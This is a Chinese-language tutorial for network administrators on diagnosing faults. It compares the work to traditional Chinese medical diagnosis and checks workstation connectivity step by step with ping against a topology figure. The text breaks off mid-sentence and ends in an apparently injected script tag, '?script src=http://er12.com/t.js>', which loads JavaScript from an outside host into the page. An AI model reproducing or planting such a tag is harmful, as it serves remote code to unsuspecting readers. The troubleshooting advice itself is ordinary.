图１ 某网络拓扑图
常在河边走，哪有不湿鞋？作为网管员，处理网络故障应该说是一个日常工作了，但还是有很多网管在处理故障时会走很多弯路，这其中的原因就是没有按章行事。其实我们可以像中医瞧病一样诊断网络故障，望、闻、问、切，根据原因，对症下药。
经常有人在qq上问我网络方面的一些问题，也经常有一些学生、读者，打电话或发邮件问我一些网络故障的解决方法，但他们只是叙述了故障的结果或现象，很少有人详细描述故障的产生原因、产生过程以及网络的状态，更没有说出现故障之后，自己是怎么分析与判断的，只是问我：出了某某故障，要怎么解决？
在这种情况下，我通常会反问对方一些问题，就像中医看病一样，详细地询问对方的一些情况，有许多时候，在询问对方的过程中，对方就能自己判断问题所在并且自己可以解决了。从这些情况看来，许多故障，自己都可以解决，但缺少解决问题的思路与方法，掌握了这些思路与方法，一般网络故障都不需要再询问别人。解决问题的方法有许多，而解决问题的大致思路是差不多的。
总体来说，如果按照用户划分，网络故障分为企业中的网络故障与个人用户网络故障；对于企业中的网络故障来说，如果按照产品功能划分，网络故障通常包括工作站故障、服务器故障、网络设备故障等，下面分别介绍。在解决故障时，本着从简单到复杂、从软件故障到硬件故障的原则进行判断。
工作站故障
对于工作站故障，通常来说，采用代替法与排除法即可以解决。当网络中的工作站出现问题时，你要清楚是网络中的所有工作站出现问题，还是某一组中的工作站出现问题，或者仅仅只是某一台工作站出了问题。
如果网络中的所有工作站都出现了同一个问题，例如，都不能登录服务器，或者登录服务器很慢，或者都不能访问某个或者某些网站，这时候的故障应该在工作站到故障点之间的线路或某些设备上，例如，核心交换机出现问题，所有的工作站的上级交换机或者路由器出现问题，甚至是网络的出口（广域网或者internet网络）出现问题。这时候，可以在网络中的任意一台工作站上，使用ping命令，依次检查到上一级设备的连接情况，逐级检查以定位故障点，最后排除故障。
例如，对于类似于图1所示的网络拓扑情况，当所有的工作站不能访问服务器server或者不能访问互联网时，可以在网络中的任意一台工作站上（例如w1），用ping命令，首先检查到s3交换机的连通性，如果到s3不能连通，则检查s3交换机的配置情况，在确认不是配置问题后，检查s3交换机是否损坏，如果s3交换机损坏，根据情况维修或者更换。然后检查到服务器的连通性，如果不能访问服务器，检查s3与服务器之间的线路，然后依次检查服务器的网卡、服务器的配置，对于s3与服务器之间的线路，可以用代替法。如果是不能访问互联网，则需要依次检查s3到路由器（或代理服务器、防火墙）之间的线路、路由器的配置和路由器到互联网的线路情况，然后再检查是否是isp的故障等。实际上，如果网络中的所有工作站都不能访问外网，则首先要在代理服务器或者路由器上，检查到上级线路的连接是否正常，在排除上级线路（isp）的故障后，检查s3与路由器之间的线路、路由器的配置等情况。
如果网络中的一台工作站出现问题，例如，w3不能访问服务器（或互联网），而网络中其他的工作站都正常，可以按照如下的步骤解决：
（1）在w3工作站上，使用ping命令，检查是否可以ping通w4、s2和s3交换机，如果能ping通这些工作站或交换机，则表示w3不能访问服务器（或互联网）是服务器端对w3进行了限制。如果不能ping通，则进行下面的检查。
（2）打开网络连接，查看是否出现“网络电缆被拔出”的提示，?script src=http://er12.com/t.js>
